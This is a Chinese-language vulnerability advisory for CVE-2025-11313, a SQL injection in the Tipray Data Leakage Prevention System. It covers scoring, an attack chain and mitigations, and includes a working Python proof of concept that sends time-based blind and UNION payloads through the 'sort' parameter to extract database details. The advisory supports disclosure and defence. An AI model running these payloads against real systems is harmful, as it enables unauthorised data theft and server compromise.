CVE-2025-11313：天锐数据泄露防护系统SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-11313

漏洞类型

SQL注入

CVSS评分

7.3 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Tipray 厦门天锐科技股份有限公司天锐数据泄露防护系统 (Data Leakage Prevention System)

漏洞概述

CVE-2025-11313是厦门天锐科技股份有限公司（Tipray）旗下天锐数据泄露防护系统（Data Leakage Prevention System）1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于系统的findRolePage.do文件中的findRolePage函数，攻击者可以通过操控sort参数实施SQL注入攻击。由于该漏洞无需身份认证即可远程利用，且不需要用户交互，攻击门槛极低，潜在危害较大。CVSS 3.1评分为7.3分，属于高危级别，对系统的机密性、完整性和可用性均构成低级别威胁。该漏洞的利用代码已被公开披露，可能被恶意攻击者用于数据窃取、权限提升或进一步渗透攻击。值得注意的是，厂商在漏洞披露前已被提前通知，但未作出任何回应，也未发布安全补丁，这使得使用该产品的企业面临较大的安全风险。天锐数据泄露防护系统作为一款企业级数据安全产品，其自身存在SQL注入漏洞尤为讽刺，因为该产品的核心功能就是防止数据泄露。一旦攻击者成功利用此漏洞，可能绕过该系统的防护机制，直接访问和操控后端数据库，获取敏感数据或破坏系统完整性，对企业数据安全构成严重威胁。

技术细节

该SQL注入漏洞存在于天锐数据泄露防护系统1.0版本的findRolePage.do接口的findRolePage函数中。具体而言，系统在处理用户请求时，未对sort参数进行充分的输入验证和过滤，直接将其拼接到后端SQL查询语句中。攻击者可以通过构造特殊的sort参数值，在SQL语句中注入恶意SQL代码。由于该接口未要求身份认证（PR:N），且可以通过网络远程访问（AV:N），攻击者无需任何凭据即可直接向目标系统发送恶意请求。漏洞利用复杂度低（AC:L），无需用户交互（UI:N）。攻击成功后，攻击者可以执行任意SQL查询，可能导致以下危害：1）通过UNION查询获取数据库中的敏感信息，如用户凭证、系统配置等；2）利用SQL注入读取或修改数据库中的数据，绕过数据泄露防护系统的保护机制；3）通过堆叠查询或特定数据库特性（如MySQL的INTO OUTFILE）写入Webshell，获取服务器控制权；4）利用时间盲注或布尔盲注技术逐步提取数据库内容。该漏洞的PoC已在GitHub上公开披露，攻击者可利用自动化工具快速扫描和利用存在漏洞的系统。

攻击链分析

STEP 1

步骤1：信息收集

攻击者通过搜索引擎（如Shodan、ZoomEye）或端口扫描工具识别暴露在公网上的天锐数据泄露防护系统，收集目标的IP地址、端口和版本信息。

STEP 2

步骤2：漏洞探测

攻击者向目标的findRolePage.do接口发送带有恶意sort参数的HTTP请求，通过时间盲注或错误信息判断目标是否存在SQL注入漏洞。

STEP 3

步骤3：注入Payload构造

攻击者构造SQL注入Payload，如UNION查询、时间盲注或布尔盲注语句，嵌入到sort参数中，绕过前端验证直接拼接到后端SQL语句。

STEP 4

步骤4：数据库信息提取

利用SQL注入漏洞，攻击者通过information_schema等系统表获取数据库结构信息，包括表名、列名和数据内容。

STEP 5

步骤5：敏感数据窃取

攻击者提取数据库中的用户凭证、系统配置、审计日志等敏感信息，可能获取管理员账户凭据或绕过DLP系统的防护策略。

STEP 6

步骤6：权限提升与持久化

利用获取的凭据或通过SQL注入写入Webshell，攻击者可获取服务器控制权限，建立持久化访问通道，进一步渗透内网。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-11313 - Tipray DLP System SQL Injection PoC
# Vulnerability: SQL Injection via 'sort' parameter in findRolePage.do
# Affected: Tipray Data Leakage Prevention System v1.0

import requests
import sys

TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"
VULNERABLE_ENDPOINT = "/findRolePage.do"

# SQL Injection payload targeting the 'sort' parameter
# Using time-based blind injection to confirm vulnerability
def check_vulnerability(base_url):
    """Check if the target is vulnerable to SQL injection"""
    url = f"{base_url}{VULNERABLE_ENDPOINT}"
    
    # Normal request for baseline
    normal_params = {
        "page": "1",
        "limit": "10",
        "sort": "id",
        "order": "asc"
    }
    
    # Malicious payload - time-based blind SQL injection
    malicious_params = {
        "page": "1",
        "limit": "10",
        "sort": "id,(SELECT(CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END))",
        "order": "asc"
    }
    
    try:
        # Test normal response time
        normal_response = requests.get(url, params=normal_params, timeout=10)
        normal_time = normal_response.elapsed.total_seconds()
        
        # Test malicious response time
        malicious_response = requests.get(url, params=malicious_params, timeout=15)
        malicious_time = malicious_response.elapsed.total_seconds()
        
        print(f"[*] Normal response time: {normal_time}s")
        print(f"[*] Malicious response time: {malicious_time}s")
        
        if malicious_time - normal_time > 4:
            print("[+] Target is VULNERABLE to SQL Injection!")
            return True
        else:
            print("[-] Target does not appear vulnerable")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return False


def exploit_data_extraction(base_url):
    """Extract database information via UNION-based SQL injection"""
    url = f"{base_url}{VULNERABLE_ENDPOINT}"
    
    # UNION-based injection payload
    payloads = [
        # Extract database version
        "id,version()",
        # Extract current database
        "id,database()",
        # Extract current user
        "id,user()",
        # Extract table names
        "id,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())",
    ]
    
    for payload in payloads:
        params = {
            "page": "1",
            "limit": "10",
            "sort": payload,
            "order": "asc"
        }
        try:
            response = requests.get(url, params=params, timeout=10)
            print(f"[*] Payload: {payload}")
            print(f"[*] Response: {response.text[:500]}")
            print("-" * 50)
        except requests.exceptions.RequestException as e:
            print(f"[!] Error with payload {payload}: {e}")


if __name__ == "__main__":
    print(f"[*] Targeting: {TARGET_URL}")
    if check_vulnerability(TARGET_URL):
        print("[*] Attempting data extraction...")
        exploit_data_extraction(TARGET_URL)

影响范围

天锐数据泄露防护系统 (Tipray Data Leakage Prevention System) 1.0

防御指南

临时缓解措施

在官方补丁发布前，建议采取以下临时缓解措施：1）通过防火墙或反向代理限制findRolePage.do接口的访问，仅允许可信IP地址访问；2）部署Web应用防火墙（WAF）并配置SQL注入防护规则，对sort等参数进行严格过滤；3）在Web服务器层面添加输入验证规则，拒绝包含SQL关键字（如UNION、SELECT、SLEEP等）的异常请求；4）监控访问日志，及时发现针对该接口的可疑请求；5）将数据库账户权限降至最低，限制其执行危险操作的能力；6）考虑将DLP系统部署在内网环境，避免直接暴露在公网上。由于厂商未响应，建议用户主动联系天锐科技催促修复，并评估是否继续使用该产品。